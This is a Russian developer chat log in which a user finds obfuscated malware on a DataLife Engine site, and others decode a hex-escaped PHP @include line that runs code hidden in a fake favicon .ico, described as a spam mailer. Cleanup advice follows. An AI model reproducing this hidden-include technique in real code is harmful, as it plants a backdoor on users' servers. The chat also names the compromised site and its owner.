А ты юзаешь uuid?

конь вроде как-то за них толковал

@f3ath

Ребята помогите. У знакомого клиента перестал открывать сайт , Parse error: syntax error, unexpected '$u94b2' (T_VARIABLE) in /var/www/admin/data/www/uzspk.ru/engine/modules/rssinform.php on line 1

закоментировал эту хуйню и сайт заработал

чо это такое? и как это дебажить?

похоже на зловред

Он и есть.

похоже на зловред

да похоже, код обфусцирован

ну дык ${}

Он и есть.

а разве на пхп могут быть зловреды?

а разве на пхп могут быть зловреды?

пхаха

конеш

а разве на пхп могут быть зловреды?

да

Можно расшифровать и прочесть че он делает

а разве на пхп могут быть зловреды?

Странный вопрос. )))

а разве на пхп могут быть зловреды?

заползает по ftp или через админку и автоматически во все php файлы прописывается

Может он тебе на кошелек биткоин майнит

заползает по ftp или через админку и автоматически во все php файлы прописывается

или есть дыра в каком то скрипте, которая позволяет выполнять код удаленно

или есть дыра в каком то скрипте, которая позволяет выполнять код удаленно

само собой. Или шелл, или бэкдор, или и т.д. и т.п.

там cms DataLife Engine

хз

там cms DataLife Engine

поди необновляемая 100500 лет

Старейшая дырочка интернета

2014 года)

тогда все ясно

и чо мне делать, я закоментировал теперь все збс, сайт работает. Я все починил?

Да завтра починил

и чо мне делать, я закоментировал теперь все збс, сайт работает. Я все починил?

относительно. ищи где код ещё изменён

и закрывай дыру

и закрывай дыру

я не занимался этим проектом, мы сайты на perl пишем, это клиент не наш даже, а просто знакомый директора фирмы попросил помочь

я не занимался этим проектом, мы сайты на perl пишем, это клиент не наш даже, а просто знакомый директора фирмы попросил помочь

ТЫЖПРОГРАММИСТ, ага?

я не занимался этим проектом, мы сайты на perl пишем, это клиент не наш даже, а просто знакомый директора фирмы попросил помочь

Беги

а что эта строчка делает, именно после инклуда как это раскодировать @include "\x2fv\x61r\x2fw\x77w\x2fa\x64m\x69n\x2fd\x61t\x61/\x77w\x77/\x75z\x73p\x6b.\x72u\x2fe\x6eg\x69n\x65/\x65d\x69t\x6fr\x2fs\x63r\x69p\x74s\x2ff\x61v\x69c\x6fn\x5f9\x337\x32e\x32.\x69c\x6f";

и чо мне делать, я закоментировал теперь все збс, сайт работает. Я все починил?

Пока его заново не зальют

не могу понять в какой кодировке это

не pynicode точно

Подскажите какой-нибудь инструмент для тестирования апи, по сути формирователь хттп запросов

а что эта строчка делает, именно после инклуда как это раскодировать @include "\x2fv\x61r\x2fw\x77w\x2fa\x64m\x69n\x2fd\x61t\x61/\x77w\x77/\x75z\x73p\x6b.\x72u\x2fe\x6eg\x69n\x65/\x65d\x69t\x6fr\x2fs\x63r\x69p\x74s\x2ff\x61v\x69c\x6fn\x5f9\x337\x32e\x32.\x69c\x6f";

utf8 это

Подскажите какой-нибудь инструмент для тестирования апи, по сути формирователь хттп запросов

Guzzle

Guzzle

Спасибо

utf8 это

что-то я там ни одного байта из 0х80+ не вижу

а что эта строчка делает, именно после инклуда как это раскодировать @include "\x2fv\x61r\x2fw\x77w\x2fa\x64m\x69n\x2fd\x61t\x61/\x77w\x77/\x75z\x73p\x6b.\x72u\x2fe\x6eg\x69n\x65/\x65d\x69t\x6fr\x2fs\x63r\x69p\x74s\x2ff\x61v\x69c\x6fn\x5f9\x337\x32e\x32.\x69c\x6f";

обычный ascii с экранизацией символов

что-то я там ни одного байта из 0х80+ не вижу

Мда, ошибся немного, но по сути это вот это вот http://ddecode.com/hexdecoder/?results=9d3edccc4ad0862abade2feb016908d7

Опять в настройках апача разрешили исполнять что угодно

а что эта строчка делает, именно после инклуда как это раскодировать @include "\x2fv\x61r\x2fw\x77w\x2fa\x64m\x69n\x2fd\x61t\x61/\x77w\x77/\x75z\x73p\x6b.\x72u\x2fe\x6eg\x69n\x65/\x65d\x69t\x6fr\x2fs\x63r\x69p\x74s\x2ff\x61v\x69c\x6fn\x5f9\x337\x32e\x32.\x69c\x6f";

@include "/var/www/admin/data/www/uzspk.ru/engine/editor/scripts/favicon_9372e2.ico";

https://pastebin.com/wSvykHQB содержимое ico

https://pastebin.com/wSvykHQB содержимое ico

Лечили пару месяцев назад эту херню

Она принимает от сервера список емейлов и шлёт на них спам

Ну, там не один в один, но структура та же

https://pastebin.com/wSvykHQB содержимое ico

сайт подломили и в фавиконе исполняемый код на php?

Привет. Я запутался совсем в реферальной системе. Сейчас она 1-го уровня. Поиск родителя и приглашённого, начисление баланса родителю. Как можно реализовать поиск и проверку родителей родителя + начисление баланса, и так вплоть до пятого уровня? То есть, user1 -> пригласил user 2 -> user3 -> user4 -> user5 Начислить баланс: За реферала первого уровня: 1$ За второго уровня (если есть): 0.7 За третьего (если есть): 0.5 За четвёртого (если есть): 0.3 За пятого (если есть): 0.2 И так далее. https://pastebin.com/NapxwVpS

сайт подломили и в фавиконе исполняемый код на php?

Это классика

ООО "Уральский завод спецконструкций"

можно уводить клиента

:х

как в сафари отправить post-запрос ?

как в сафари отправить post-запрос ?

да вроде так же, как везде

да вроде так же, как везде

а как везде? туплю сегодня...

если я

а как везде? туплю сегодня...

тебе из формы или аякс?

если я выпилю это я починю от взлома?

если я выпилю это я починю от взлома?

это надо везде выпиливать

если я

Не факт, что это единственный инфицированный файл

тебе из формы или аякс?

из инспектора кода желательно

/spam

мне нужно апач перенастраивать

а то какого хуя инклудится картинка туда

с кодом внутри

если я выпилю это я починю от взлома?

а лучше сначала дырку поискать, попробовать закрыть предполагаемые дырки, типа смены всех паролей

Там где-то настройку надо вырубить, которая разрешает исполнение по mime-type файла

А не по строгому соответствию

из инспектора кода желательно

$.post()?

если жикверь есть

$.post()?

ну, да, на морде будет

если тебе произвольные пост запросы нужны - накати экстеншн какой-нибудь

а лучше сначала дырку поискать, попробовать закрыть предполагаемые дырки, типа смены всех паролей

мне за это неплатят, у меня проекты на perl уже горят

правда я хз, как там в сафари их устанавливать и есть ли они там вообще

мне за это неплатят, у меня проекты на perl уже горят

нахуй тогда это делать?

а это тоже может быть зловред?

в файле init.php